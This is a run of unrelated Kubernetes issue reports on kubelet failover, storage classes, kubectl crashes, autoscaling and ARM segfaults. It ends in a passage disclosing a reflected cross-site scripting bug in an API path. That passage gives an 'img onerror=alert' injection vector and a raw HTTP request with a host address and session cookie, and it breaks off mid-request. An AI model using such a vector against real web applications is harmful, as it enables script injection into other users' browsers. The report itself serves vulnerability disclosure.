may 08 02:21:47 kube2 kubelet 7536 : e0508 02:21:47.028661    7536 controller.go:115  failed to ensure node lease exists, will retry in 1.6s, error: get https://10.23.50.30:6443/apis/coordination.k8s.io/v1beta1/namespaces/kube-node-lease/leases/kube2?timeout=10s: read tcp 10.23.82.2:51086->10.23.50.30:6443: use of closed network connection\r may 08 02:21:54 kube2 kubelet 7536 : w0508 02:21:54.387087    7536 prober.go:104  no ref for container \ containerd://3f03f6e2ceae04df044b64bf6ae9c0a3c5398e691838f9b507caabc3ad77eaa2\   kube-apiserver-kube2_kube-system 59d07292a470c7824413404a9aa7cf55 :kube-apiserver \r may 08 02:21:57 kube2 kubelet 7536 : e0508 02:21:57.028891    7536 kubelet_node_status.go:385  error updating node status, will retry: error getting node \ kube2\ : get https://10.23.50.30:6443/api/v1/nodes/kube2?timeout=10s: context deadline exceeded  client.timeout exceeded while awaiting headers \r may 08 02:21:57 kube2 kubelet 7536 : e0508 02:21:57.028974    7536 controller.go:115  failed to ensure node lease exists, will retry in 3.2s, error: get https://10.23.50.30:6443/apis/coordination.k8s.io/v1beta1/namespaces/kube-node-lease/leases/kube2?timeout=10s: read tcp 10.23.82.2:52046->10.23.50.30:6443: use of closed network connection\r may 08 02:22:04 kube2 kubelet 7536 : w0508 02:22:04.366336    7536 prober.go:104  no ref for container \ containerd://3f03f6e2ceae04df044b64bf6ae9c0a3c5398e691838f9b507caabc3ad77eaa2\   kube-apiserver-kube2_kube-system 59d07292a470c7824413404a9aa7cf55 :kube-apiserver \r may 08 02:22:07 kube2 kubelet 7536 : e0508 02:22:07.029597    7536 kubelet_node_status.go:385  error updating node status, will retry: error getting node \ kube2\ : get https://10.23.50.30:6443/api/v1/nodes/kube2?timeout=10s: context deadline exceeded  client.timeout exceeded while awaiting headers \r may 08 02:22:07 kube2 kubelet 7536 : e0508 02:22:07.030464    7536 kubelet_node_status.go:372  unable to update node status: update node status exceeds retry count\r may 08 02:22:07 kube2 kubelet 7536 : e0508 02:22:07.031414    7536 controller.go:115  failed to ensure node lease exists, will retry in 6.4s, error: get https://10.23.50.30:6443/apis/coordination.k8s.io/v1beta1/namespaces/kube-node-lease/leases/kube2?timeout=10s: read tcp 10.23.82.2:54218->10.23.50.30:6443: use of closed network connection\r may 08 02:22:14 kube2 kubelet 7536 : w0508 02:22:14.358914    7536 prober.go:104  no ref for container \ containerd://3f03f6e2ceae04df044b64bf6ae9c0a3c5398e691838f9b507caabc3ad77eaa2\   kube-apiserver-kube2_kube-system 59d07292a470c7824413404a9aa7cf55 :kube-apiserver \r    \r i could also see that the  kube-apiserver-kube2  went into a failed   crashloopbackoff   state during incident time due to some reason as seen in the below kubelet log entries.\r \r    bash\r may 08 02:43:24 kube2 kubelet 7536 : e0508 02:43:24.289307    7536 event.go:145  unable to write event '&v1.event{typemeta:v1.typemeta{kind:\ \ , apiversion:\ \ }, objectmeta:v1.objectmeta{name:\ kube-apiserver-kube2.159c93f0f78c52e0\ , generatename:\ \ , namespace:\ kube-system\ , selflink:\ \ , uid:\ \ , resourceversion:\ \ , generation:0, creationtimestamp:v1.time{time:time.time{wall:0x0, ext:0, loc:  time.location  nil }}, deletiontimestamp:  v1.time  nil , deletiongraceperiodseconds:  int64  nil , labels:map string string nil , annotations:map string string nil , ownerreferences:  v1.ownerreference nil , initializers:  v1.initializers  nil , finalizers:  string nil , clustername:\ \ , managedfields:  v1.managedfieldsentry nil }, involvedobject:v1.objectreference{kind:\ pod\ , namespace:\ kube-system\ , name:\ kube-apiserver-kube2\ , uid:\ 59d07292a470c7824413404a9aa7cf55\ , apiversion:\ v1\ , resourceversion:\ \ , fieldpath:\ spec.containers{kube-apiserver}\ }, reason:\ unhealthy\ , message:\ liveness probe failed: get https://10.23.82.2:6443/healthz: read tcp 10.23.82.2:51124->10.23.82.2:6443: read: connection reset by peer\ , source:v1.eventsource{component:\ kubelet\ , host:\ kube2\ }, firsttimestamp:v1.time{time:time.time{wall:0xbf2cad4e92f38ee0, ext:3407090158885608, loc:  time.location  0x7ff88e0 }}, lasttimestamp:v1.time{time:time.time{wall:0xbf2cad4e92f38ee0, ext:3407090158885608, loc:  time.location  0x7ff88e0 }}, count:1, type:\ warning\ , eventtime:v1.microtime{time:time.time{wall:0x0, ext:0, loc:  time.location  nil }}, series:  v1.eventseries  nil , action:\ \ , related:  v1.objectreference  nil , reportingcontroller:\ \ , reportinginstance:\ \ }'  retry limit exceeded! \r    \r appreciate if someone could shed some light on fixing this issues so that we don't face any outages in case if this happens again. thanks!\r \r   what you expected to happen  :\r \r the kubernetes control plane services should failover to another master server without causing issues to running services/apps\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r provision a multi master  3 master nodes  setup with  v1.14  with keepalived for ha, power-off the currently active master node. the control plane services will fail to properly get migrated to an alternate member node causing outage/issues to kubernetes apps and services\r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  :  1.14\r - cloud provider or hardware configuration: on-premise\r - os  e.g:  cat /etc/os-release  : ubuntu 18.04.2 lts\r - kernel  e.g.  uname -a  : 4.15.0-46-generic\r - install tools: none\r - network plugin and version  if this is a network-related bug :\r - others:\r \r /area kubelet\r  

my proposed addition is a cloud-config file for a single node coreos/kubernetes setup. this cloud-config file works for every provider that supports cloud-init files  eg. vagrant, openstack, ec2 etc...  and it is also configured to setup the dns-addon by default. it is meant for development purposes only, but i think it would be a nice addition in the getting-started-guides section. what would you think, is this a valid reason for such a pr?

the man pages don't contain any information in them from the release. i've tried generating them before doing a make release but because they are still tracked in git, the release artefact is marked as dirty.

use case: as kubernetes admin i want to define a storageclass that provisions pvs with  persistentvolumereclaimpolicy = \ retain\   so users don't loose their data when they accidentally delete their pvcs.\r \r   api changes:  \r \r   either \ magic\  annotation  kubernetes.io/reclaim-policy: retain \r   or a new storageclass field  sc.persistentvolumereclaimpolicy: retain \r \r   requested actions:  \r \r   update the api.\r   update internal provisioning logic to respect this new annotation/field.\r   update docs.\r   announce that external provisioners need to respect this new annotation/field.\r \r all these items are fairly easy if we agree on the design.\r \r @kubernetes/sig-storage

is this a bug report or feature request?    choose one :bug report\r \r \r   kubernetes version    use  kubectl version  :client version: version.info{major:\ 1\ , minor:\ 6+\ , gitversion:\ v1.6.0-alpha.0.2610+281053d66674e8-dirty\ , gitcommit:\ 281053d66674e870c93e4627a95689a4018f5f7b\ , gittreestate:\ dirty\ , builddate:\ 2016-12-29t06:28:44z\ , goversion:\ go1.7.1\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 6+\ , gitversion:\ v1.6.0-alpha.0.2610+281053d66674e8-dirty\ , gitcommit:\ 281053d66674e870c93e4627a95689a4018f5f7b\ , gittreestate:\ dirty\ , builddate:\ 2016-12-29t06:28:44z\ , goversion:\ go1.7.1\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r \r \r   what happened  :\r    \r   kubectl set selector\r panic: runtime error: index out of range\r \r goroutine 1  running :\r panic 0x145f940, 0xc42000e0c0 \r \t/home/ubuntu/go/src/runtime/panic.go:500 +0x1a1\r k8s.io/kubernetes/pkg/kubectl/cmd/set.getresourcesandselector 0x1ef82d0, 0x0, 0x0, 0xf, 0x0, 0x0, 0xbc6e97, 0xc420097b80, 0xc420432c30 \r \t/home/ubuntu/mygo/src/github.com/kubernetes/kubernetes/_output/local/go/src/k8s.io/kubernetes/pkg/kubectl/cmd/set/set_selector.go:234 +0xd4\r k8s.io/kubernetes/pkg/kubectl/cmd/set.  selectoroptions .complete 0xc4201e2e60, 0x1e8cc40, 0xc42032a840, 0xc42041ed80, 0x1ef82d0, 0x0, 0x0, 0x1e71220, 0xc42002c010, 0x0, ... \r \t/home/ubuntu/mygo/src/github.com/kubernetes/kubernetes/_output/local/go/src/k8s.io/kubernetes/pkg/kubectl/cmd/set/set_selector.go:137 +0x827\r k8s.io/kubernetes/pkg/kubectl/cmd/set.newcmdselector.func1 0xc42041ed80, 0x1ef82d0, 0x0, 0x0 \r \t/home/ubuntu/mygo/src/github.com/kubernetes/kubernetes/_output/local/go/src/k8s.io/kubernetes/pkg/kubectl/cmd/set/set_selector.go:83 +0x85\r k8s.io/kubernetes/vendor/github.com/spf13/cobra.  command .execute 0xc42041ed80, 0x1ef82d0, 0x0, 0x0, 0xc42041ed80, 0x1ef82d0 \r \t/home/ubuntu/mygo/src/github.com/kubernetes/kubernetes/_output/local/go/src/k8s.io/kubernetes/vendor/github.com/spf13/cobra/command.go:603 +0x439\r k8s.io/kubernetes/vendor/github.com/spf13/cobra.  command .executec 0xc4204a3b00, 0xc4204a7700, 0x1, 0x1 \r \t/home/ubuntu/mygo/src/github.com/kubernetes/kubernetes/_output/local/go/src/k8s.io/kubernetes/vendor/github.com/spf13/cobra/command.go:689 +0x367\r k8s.io/kubernetes/vendor/github.com/spf13/cobra.  command .execute 0xc4204a3b00, 0xc42032a840, 0x1e711e0 \r \t/home/ubuntu/mygo/src/github.com/kubernetes/kubernetes/_output/local/go/src/k8s.io/kubernetes/vendor/github.com/spf13/cobra/command.go:648 +0x2b\r k8s.io/kubernetes/cmd/kubectl/app.run 0x0, 0x0 \r \t/home/ubuntu/mygo/src/github.com/kubernetes/kubernetes/_output/local/go/src/k8s.io/kubernetes/cmd/kubectl/app/kubectl.go:38 +0xd5\r main.main  \r \t/home/ubuntu/mygo/src/github.com/kubernetes/kubernetes/_output/local/go/src/k8s.io/kubernetes/cmd/kubectl/kubectl.go:26 +0x22\r \r    \r

<!-- thanks for filing an issue! before hitting the button, please answer these questions.-->\r \r   is this a request for help?    if yes, you should use our troubleshooting guide and community support channels, see http://kubernetes.io/docs/troubleshooting/. :\r \r \r   what keywords did you search in kubernetes issues before filing this one?    if you have found any duplicates, you should instead reply there. :\r \r ---\r \r   is this a bug report or feature request?    choose one :\r  feature request\r <!--\r if this is a bug report, please:\r   - fill in as much of the template below as you can.  if you leave out\r     information, we can't help you as well.\r \r if this is a feature request, please:\r   - describe  in detail  the feature/behavior/change you'd like to see.\r \r in both cases, be ready for followup questions, and please respond in a timely\r manner.  if we can't reproduce a bug or think a feature already exists, we\r might close your issue.  if we're wrong, please feel free to reopen it and\r explain why.\r -->\r \r   kubernetes version    use  kubectl version  :\r client version: version.info{major:\ 1\ , minor:\ 4\ , gitversion:\ v1.4.5\ , gitcommit:\ 5a0a696437ad35c133c0c8493f7e9d22b0f9b81b\ , gittreestate:\ clean\ , builddate:\ 2016-10-29t01:38:40z\ , goversion:\ go1.6.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 4\ , gitversion:\ v1.4.5\ , gitcommit:\ 5a0a696437ad35c133c0c8493f7e9d22b0f9b81b\ , gittreestate:\ clean\ , builddate:\ 2016-10-29t01:32:42z\ , goversion:\ go1.6.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r \r and i have also tested the version 1.4.0 beta  and 1.5.1\r \r   environment  :\r -   cloud provider or hardware configuration  :\r -   os    e.g. from /etc/os-release :\r -   kernel    e.g.  uname -a  :\r -   install tools  :\r -   others  :\r os:ubuntu14.04\r \r   what happened  :\r i create a default storageclass, and create a pvc, but the pvc is in pending status, the storageclass will not create a pv.\r   what you expected to happen  :\r the pvc created previous could be bounded to a pv which created by the default storageclass\r \r   how to reproduce it    as minimally and precisely as possible :\r 1 create a default storageclass, yaml as follows:\r apiversion: storage.k8s.io/v1beta1\r kind: storageclass\r metadata:            \r                                                               name: slow\r     annotations:\r         storageclass.beta.kubernetes.io/is-default-class: \ true\ \r provisioner: kubernetes.io/glusterfs\r parameters:\r     endpoint: \ glusterfs-cluster\ \r     resturl: \ http://162.3.140.205:24007\ \r \r 2 then, create a pvc, yaml as below:\r kind: persistentvolumeclaim\r apiversion: v1\r metadata:\r     name: myclaim-1\r spec:\r   accessmodes:\r     - readwriteonce\r   resources:\r     requests:\r       storage: 2gi\r \r 3 kubectl get pv,pvc -o wide\r name            status    volume    capacity   accessmodes   age\r pvc/myclaim-1   pending                                      21m\r \r   anything else do we need to know  :\r \r does anybody knows this problem, thank you in advance.

is this a bug report or feature request?  :\r \r  \r   what happened  :\r \r output for the command  kubectl help cmd  contains n section  options: . this section of the output is overly cluttered. it is difficult to distinguish the flags from the description. option descriptions are quite verbose, this is good except the information is difficult to parse.\r \r   what you expected to happen  :\r \r it would be nice if the output for  options:  was easier to read.\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r  kubectl help get \r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes: client version v1.6.4\r - os: linux\r \r  

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r  \r   what happened  :\r \r the documents for windows at https://kubernetes.io/docs/getting-started-guides/windows/ are missing\r \r   what you expected to happen  :\r \r view the getting-started-guide\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r visit the page\r \r   anything else we need to know?  :\r

 \r   what happened  :\r i succeed to deploy a deployment when i used the image of  gcr.io/tensorflow/tensorflow:latest-gpu, but i failed with the image of nvcr.io/nvidia/tensorflow:18.03-py3.\r for the second condition ,my pod created the container and started the container when i created a deployment, but it back-off restarting failed conatiner after  a few sec.\r \r    \r events:\r   type     reason                 age                     from               message\r   ----     ------                 ----                    ----               -------\r   normal   scheduled              1m                      default-scheduler  successfully assigned tf-notebook-58754b4c9-lcnhl to node1\r   normal   successfulmountvolume  10s                     kubelet, node1     mountvolume.setup succeeded for volume \ mnist-storage\ \r   normal   successfulmountvolume  10s                     kubelet, node1     mountvolume.setup succeeded for volume \ default-token-lt4vm\ \r   normal   pulled                 <invalid>  x4 over 9s   kubelet, node1     container image \ nvcr.io/nvidia/tensorflow:18.03-py3\  already present on machine\r   normal   created                <invalid>  x4 over 9s   kubelet, node1     created container\r   normal   started                <invalid>  x4 over 9s   kubelet, node1     started container\r   warning  backoff                <invalid>  x7 over 7s   kubelet, node1     back-off restarting failed container\r    \r the yaml file:\r    \r apiversion: apps/v1\r kind: deployment\r metadata:\r   name: tensorflow\r   labels:\r     app: tensorflow\r spec:\r   replicas: 1\r   selector:\r     matchlabels:\r       app: tensorflow\r   template: \r     metadata:\r       labels:\r         app: tensorflow\r     spec:\r       containers:\r       - name: tensorflow\r         image: 'nvcr.io/nvidia/tensorflow:18.03-py3'\r         command:  \ /bin/bash\  \r         volumemounts:\r          - name: mnist-storage\r            mountpath: /pred_res/\r         resources:\r           limits:\r             nvidia.com/gpu: 1\r       volumes:\r       - name: mnist-storage\r         hostpath:\r           path: /pred_res\r    \r \r   what you expected to happen  :\r i expect that after my pod started the container ,i can use command 'kubectl exec' to manipulate the container .\r   how to reproduce it  as minimally and precisely as possible   :\r create the deployment  with my yaml file.\r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  :v1.10.0\r - cloud provider or hardware configuration:\r - os  e.g. from /etc/os-release :ubuntu16.04\r - kernel  e.g.  uname -a  :4.4.0-116-generic\r - install tools:\r - others:\r

what happened  :\r i created hpas for several deployments using the helm yaml below:\r    \r apiversion: autoscaling/v1\r kind: horizontalpodautoscaler\r metadata: \r   name: {{template \ fullname\  . }}\r   namespace: default\r spec: \r   scaletargetref: \r     apiversion: apps/v1\r     kind: deployment\r     name: {{template \ fullname\  . }}\r   maxreplicas: 5\r   minreplicas: 1\r   targetcpuutilizationpercentage: 100\r    \r it works fine except for on my pod \ metric\  that has 3 containers in it.  all containers have kubernetes resource requests and limits for cpu and memory.  the problem is the hpa reports it cannot find the cpu usage.  \r    \r kubectl get -o json hpa release-metric\r {\r     \ apiversion\ : \ autoscaling/v1\ ,\r     \ kind\ : \ horizontalpodautoscaler\ ,\r     \ metadata\ : {\r         \ annotations\ : {\r             \ autoscaling.alpha.kubernetes.io/conditions\ : \  {\\\ type\\\ :\\\ abletoscale\\\ ,\\\ status\\\ :\\\ true\\\ ,\\\ lasttransitiontime\\\ :\\\ 2018-05-09t15:17:51z\\\ ,\\\ reason\\\ :\\\ succeededgetscale\\\ ,\\\ message\\\ :\\\ the hpa controller was able to get the target's current scale\\\ },{\\\ type\\\ :\\\ scalingactive\\\ ,\\\ status\\\ :\\\ false\\\ ,\\\ lasttransitiontime\\\ :\\\ 2018-05-09t15:17:51z\\\ ,\\\ reason\\\ :\\\ failedgetresourcemetric\\\ ,\\\ message\\\ :\\\ the hpa was unable to compute the replica count: missing request for cpu on container release-event in pod default/release-event-5486b6976c-q2btv\\\ } \ \r         },\r         \ creationtimestamp\ : \ 2018-05-09t15:17:21z\ ,\r         \ name\ : \ release-metric\ ,\r         \ namespace\ : \ default\ ,\r         \ resourceversion\ : \ 16249\ ,\r         \ selflink\ : \ /apis/autoscaling/v1/namespaces/default/horizontalpodautoscalers/release-metric\ ,\r         \ uid\ : \ 11bee95f-539c-11e8-a15c-005056b43c41\ \r     },\r     \ spec\ : {\r         \ maxreplicas\ : 5,\r         \ minreplicas\ : 1,\r         \ scaletargetref\ : {\r             \ apiversion\ : \ extensions/v1beta1\ ,\r             \ kind\ : \ deployment\ ,\r             \ name\ : \ release-metric\ \r         },\r         \ targetcpuutilizationpercentage\ : 100\r     },\r     \ status\ : {\r         \ currentreplicas\ : 1,\r         \ desiredreplicas\ : 0\r     }\r }\r    \r the odd thing is the \ event\  pod is completely unrelated to the \ metric\  pod.  in another environment, it's looking at another different pod \ applications\  that again has nothing to do with the deployment \ metric\ .  it seems to be getting confused on what pod to look for when there are multiple containers in the deployment.  \r i created another hpa against another pod with 2 containers, and again the hpa is looking for cpu for unrelated pods.  \r \r   what you expected to happen  :\r cpu is correctly monitored for the pod and horizontally scaled.  \r \r   how to reproduce it  as minimally and precisely as possible   :\r create a \ deployment\  hpa for a pod with 2 or more containers.  \r \r   anything else we need to know?  :\r i tried creating an hpa against the replicaset for my \ metric\  service and this works okay.  the problem is, i'm not sure how to get the \ replicaset\  name into the helm yaml to replace  name: {{template \ fullname\  . }}  since in my helm charts it's turning into <release>-metric-<hash>.\r \r   environment  :\r - kubernetes version  use  kubectl version  : v1.9.1+icp\r - cloud provider or hardware configuration: vmware\r - os  e.g. from /etc/os-release : rhel 7.4\r - kernel  e.g.  uname -a  : 3.10.0-693.21.1.el7.x86_64\r \r   

 \r   what happened  :\r brand new hypriotos 1.9.0 install on a raspberrypi 3 model b. installed  kubeadm ,  kubectl , and  kubelet  per https://kubernetes.io/docs/tasks/tools/install-kubeadm/.  kubelet  seg faults with:\r    \r   kubelet\r unexpected fault address 0x14c7ba40\r fatal error: fault\r  signal sigsegv: segmentation violation code=0x2 addr=0x14c7ba40 pc=0x14c7ba40 \r \r goroutine 1  running, locked to thread :\r runtime.throw 0x2a84a9e, 0x5 \r     /usr/local/go/src/runtime/panic.go:605 +0x70 fp=0x15401e98 sp=0x15401e8c pc=0x3efa4\r runtime.sigpanic  \r     /usr/local/go/src/runtime/signal_unix.go:374 +0x1cc fp=0x15401ebc sp=0x15401e98 pc=0x5517c\r k8s.io/kubernetes/vendor/github.com/appc/spec/schema/types.semver.empty ... \r     /workspace/anago-v1.10.3-beta.0.74+2bba0127d85d5a/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/github.com/appc/spec/schema/types/semver.go:68\r k8s.io/kubernetes/vendor/github.com/appc/spec/schema/types.newsemver 0x1501ad90, 0x20945b4, 0x2a8fbcf, 0xb, 0x14c75860 \r     /workspace/anago-v1.10.3-beta.0.74+2bba0127d85d5a/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/github.com/appc/spec/schema/types/semver.go:41 +0x90 fp=0x15401f58 sp=0x15401ec0 pc=0x206c8d8\r \r goroutine 19  chan receive :\r k8s.io/kubernetes/vendor/github.com/golang/glog.  loggingt .flushdaemon 0x4551f48 \r     /workspace/anago-v1.10.3-beta.0.74+2bba0127d85d5a/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/github.com/golang/glog/glog.go:879 +0x70\r created by k8s.io/kubernetes/vendor/github.com/golang/glog.init.0\r     /workspace/anago-v1.10.3-beta.0.74+2bba0127d85d5a/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/github.com/golang/glog/glog.go:410 +0x1a0\r \r goroutine 74  syscall :\r os/signal.signal_recv 0x2bd146c \r     /usr/local/go/src/runtime/sigqueue.go:131 +0x134\r os/signal.loop  \r     /usr/local/go/src/os/signal/signal_unix.go:22 +0x14\r created by os/signal.init.0\r     /usr/local/go/src/os/signal/signal_unix.go:28 +0x30\r    \r \r   what you expected to happen  :\r  kubelet  not to seg fault\r \r   how to reproduce it  as minimally and precisely as possible   :\r i believe any new install on armv7 hosts should experience this seg fault.\r \r   anything else we need to know?  :\r downgrading to  kubelet-1.10.2-00  resolves this issue:\r    \r hypriotos/armv7: root@node-01 in ~\r   aptitude install kubelet=1.10.2-00\r the following packages will be downgraded:\r   kubelet\r 0 packages upgraded, 0 newly installed, 1 downgraded, 0 to remove and 8 not upgraded.\r need to get 18.8 mb of archives. after unpacking 17.4 kb will be freed.\r get: 1 https://packages.cloud.google.com/apt kubernetes-xenial/main armhf kubelet armhf 1.10.2-00  18.8 mb \r fetched 18.8 mb in 4s  4,217 kb/s \r dpkg: warning: downgrading kubelet from 1.10.3-00 to 1.10.2-00\r  reading database ... 28358 files and directories currently installed. \r preparing to unpack .../kubelet_1.10.2-00_armhf.deb ...\r unpacking kubelet  1.10.2-00  over  1.10.3-00  ...\r setting up kubelet  1.10.2-00  ...\r \r current status: 9  +1  upgradable.\r hypriotos/armv7: root@node-01 in ~\r   kubelet version\r i0523 21:57:31.150300   30733 feature_gate.go:226  feature gates: &{{} map  }\r w0523 21:57:31.178232   30733 cni.go:171  unable to update cni config: no networks found in /etc/cni/net.d\r w0523 21:57:31.201477   30733 hostport_manager.go:68  the binary conntrack is not installed, this can cause failures in network connection cleanup.\r i0523 21:57:31.201662   30733 server.go:376  version: v1.10.2\r i0523 21:57:31.201928   30733 feature_gate.go:226  feature gates: &{{} map  }\r i0523 21:57:31.202449   30733 plugins.go:89  no cloud provider specified.\r w0523 21:57:31.202662   30733 server.go:517  standalone mode, no api client\r e0523 21:57:32.528095   30733 machine.go:194  failed to get cache information for node 0: open /sys/devices/system/cpu/cpu0/cache: no such file or directory\r w0523 21:57:32.534699   30733 server.go:433  no api server defined - no events will be sent to api server.\r i0523 21:57:32.534825   30733 server.go:613  --cgroups-per-qos enabled, but --cgroup-root was not specified.  defaulting to /\r i0523 21:57:32.536163   30733 container_manager_linux.go:242  container manager verified user specified cgroup-root exists: /\r i0523 21:57:32.536235   30733 container_manager_linux.go:247  creating container manager object based on node config: {runtimecgroupsname: systemcgroupsname: kubeletcgroupsname: containerruntime:docker cgroupsperqos:true cgrouproot:/ cgroupdriver:cgroupfs kubeletrootdir:/var/lib/kubelet protectkerneldefaults:false nodeallocatableconfig:{kubereservedcgroupname: systemreservedcgroupname: enforcenodeallocatable:map pods:{}  kubereserved:map   systemreserved:map   hardevictionthresholds: {signal:memory.available operator:lessthan value:{quantity:100mi percentage:0} graceperiod:0s minreclaim:<nil>} {signal:nodefs.available operator:lessthan value:{quantity:<nil> percentage:0.1} graceperiod:0s minreclaim:<nil>} {signal:nodefs.inodesfree operator:lessthan value:{quantity:<nil> percentage:0.05} graceperiod:0s minreclaim:<nil>} {signal:imagefs.available operator:lessthan value:{quantity:<nil> percentage:0.15} graceperiod:0s minreclaim:<nil>} } experimentalqosreserved:map   experimentalcpumanagerpolicy:none experimentalcpumanagerreconcileperiod:10s experimentalpodpidslimit:-1 enforcecpulimits:true}\r i0523 21:57:32.536786   30733 container_manager_linux.go:266  creating device plugin manager: true\r i0523 21:57:32.536935   30733 state_mem.go:36   cpumanager  initializing new in-memory state store\r i0523 21:57:32.537355   30733 state_mem.go:84   cpumanager  updated default cpuset: \ \ \r i0523 21:57:32.537417   30733 state_mem.go:92   cpumanager  updated cpuset assignments: \ map  \ \r w0523 21:57:32.552003   30733 kubelet_network.go:139  hairpin mode set to \ promiscuous-bridge\  but kubenet is not enabled, falling back to \ hairpin-veth\ \r i0523 21:57:32.552113   30733 kubelet.go:556  hairpin mode set to \ hairpin-veth\ \r i0523 21:57:32.558134   30733 client.go:75  connecting to docker on unix:///var/run/docker.sock\r i0523 21:57:32.558253   30733 client.go:104  start docker client with request timeout=2m0s\r w0523 21:57:32.563692   30733 cni.go:171  unable to update cni config: no networks found in /etc/cni/net.d\r w0523 21:57:32.578788   30733 hostport_manager.go:68  the binary conntrack is not installed, this can cause failures in network connection cleanup.\r i0523 21:57:32.585451   30733 docker_service.go:244  docker cri networking managed by kubernetes.io/no-op\r i0523 21:57:32.841211   30733 docker_service.go:249  docker info: &{id:wvma:dpeu:roce:6zvd:b33n:3fee:6sq4:f3zp:hhl7:fyan:sj45:ved6 containers:4 containersrunning:0 containerspaused:0 containersstopped:4 images:1 driver:overlay2 driverstatus:  backing filesystem extfs   supports d_type true   native overlay diff true   systemstatus:   plugins:{volume: local  network: bridge host macvlan null overlay  authorization:   log: awslogs fluentd gcplogs gelf journald json-file logentries splunk syslog } memorylimit:true swaplimit:true kernelmemory:true cpucfsperiod:true cpucfsquota:true cpushares:true cpuset:true ipv4forwarding:true bridgenfiptables:true bridgenfip6tables:true debug:false nfd:29 oomkilldisable:true ngoroutines:46 systemtime:2018-05-23t21:57:32.805853873z loggingdriver:json-file cgroupdriver:cgroupfs neventslistener:0 kernelversion:4.14.34-hypriotos-v7+ operatingsystem:raspbian gnu/linux 9  stretch  ostype:linux architecture:armv7l indexserveraddress:https://index.docker.io/v1/ registryconfig:0x16244d00 ncpu:4 memtotal:1024184320 genericresources:   dockerrootdir:/var/lib/docker httpproxy: httpsproxy: noproxy: name:node-01 labels:   experimentalbuild:false serverversion:18.04.0-ce clusterstore: clusteradvertise: runtimes:map runc:{path:docker-runc args:  }  defaultruntime:runc swarm:{nodeid: nodeaddr: localnodestate:inactive controlavailable:false error: remotemanagers:   nodes:0 managers:0 cluster:<nil>} liverestoreenabled:false isolation: initbinary:docker-init containerdcommit:{id:773c489c9c1b21a6d78b5c538cd395416ec50f88 expected:773c489c9c1b21a6d78b5c538cd395416ec50f88} runccommit:{id:4fc53a81fb7c994640722ac585fa9ca548971871 expected:4fc53a81fb7c994640722ac585fa9ca548971871} initcommit:{id:949e6fa expected:949e6fa} securityoptions: name=seccomp,profile=default }\r i0523 21:57:32.841659   30733 docker_service.go:262  setting cgroupdriver to cgroupfs\r i0523 21:57:32.962625   30733 remote_runtime.go:43  connecting to runtime service unix:///var/run/dockershim.sock\r i0523 21:57:32.968666   30733 kuberuntime_manager.go:186  container runtime docker initialized, version: 18.04.0-ce, apiversion: 1.37.0\r i0523 21:57:32.970512   30733 csi_plugin.go:61  kubernetes.io/csi: plugin initializing...\r f0523 21:57:32.977761   30733 server.go:157  listen tcp 0.0.0.0:10255: bind: address already in use\r    \r \r   environment  :\r - kubernetes version:  client version: version.info{major:\ 1\ , minor:\ 10\ , gitversion:\ v1.10.3\ , gitcommit:\ 2bba0127d85d5a46ab4b778548be28623b32d0b0\ , gittreestate:\ clean\ , builddate:\ 2018-05-21t09:17:39z\ , goversion:\ go1.9.3\ , compiler:\ gc\ , platform:\ linux/arm\ } \r - cloud provider or hardware configuration: raspberrypi 3 model b\r - os  e.g. from /etc/os-release :\r    \r   cat /etc/os-release\r pretty_name=\ raspbian gnu/linux 9  stretch \ \r name=\ raspbian gnu/linux\ \r version_id=\ 9\ \r version=\ 9  stretch \ \r id=raspbian\r id_like=debian\r home_url=\ http://www.raspbian.org/\ \r support_url=\ http://www.raspbian.org/raspbianforums\ \r bug_report_url=\ http://www.raspbian.org/raspbianbugs\ \r hypriot_os=\ hypriotos/armhf\ \r hypriot_os_version=\ v2.0.1\ \r hypriot_device=\ raspberry pi\ \r hypriot_image_version=\ v1.9.0\ \r    \r - kernel  e.g.  uname -a  :  linux node-01 4.14.34-hypriotos-v7+  1 smp sun apr 22 14:57:31 utc 2018 armv7l gnu/linux  \r \r happy to provide any additional information that can help! i'm also game to test this out as well. all 5 of my raspberry pi's hit this and simply downgrading to 1.10.2 works, i assume it's something funky with the 1.10.3 arm package. \r

   description  \r cross-site scripting  xss  attacks occur when data enters a web application through an untrusted source, most frequently a web request and the data is included in dynamic content that is sent to a web user without being validated for malicious content. the malicious content sent to the web browser often takes the form of a segment of javascript, but may also include html, flash, or any other type of code that the browser may execute.\r it is observed in server error, user input reflects without encoding.\r note: we have observed that the application responds with the 404 page with the injected javascript and content-type is text/html throughout the application.\r   affected url/api s   \r    /api/v1/namespaces/kube-system/pods/heapster-d5c99f75b-fj7jx  url path filename    \r   vector  \r    img%20src%3da%20onerror%3dalert 1 %3ez24qy   \r \r   request/response  \r request\r get /api/v1/namespaces/kube-system/pods/heapster-d5c99f75b- fj7jxium3i%3cimg%20src%3da%20onerror%3dalert 1 %3ez24qy http/1.1\r host: 9.30.220.229:8001\r user-agent: mozilla/5.0  windows nt 10.0; win64; x64; rv:62.0  gecko/20100101 firefox/62.0 accept: application/json\r accept-language: en-us,en;q=0.5\r accept-encoding: gzip, deflate\r referer: https://9.30.220.229:8001/workloads/deployments/kube-system/heapster/pods/heapster-d5c99f75b-fj7jx\r content-type: application/json\r x-requested-with: xmlhttprequest\r origin: https://9.30.220.229:8001\r cookie: jsessionid=0000fkx9wjtgjqytqrsatqppl57:79f75479-6cf0-484e-9535-2b48d55abc78; was_n581030044=zlzcyowybbxos2hklvvol9o78zhtfa5mqf19wyofftnpn0/jka0pi2kjwxt0t1ugao 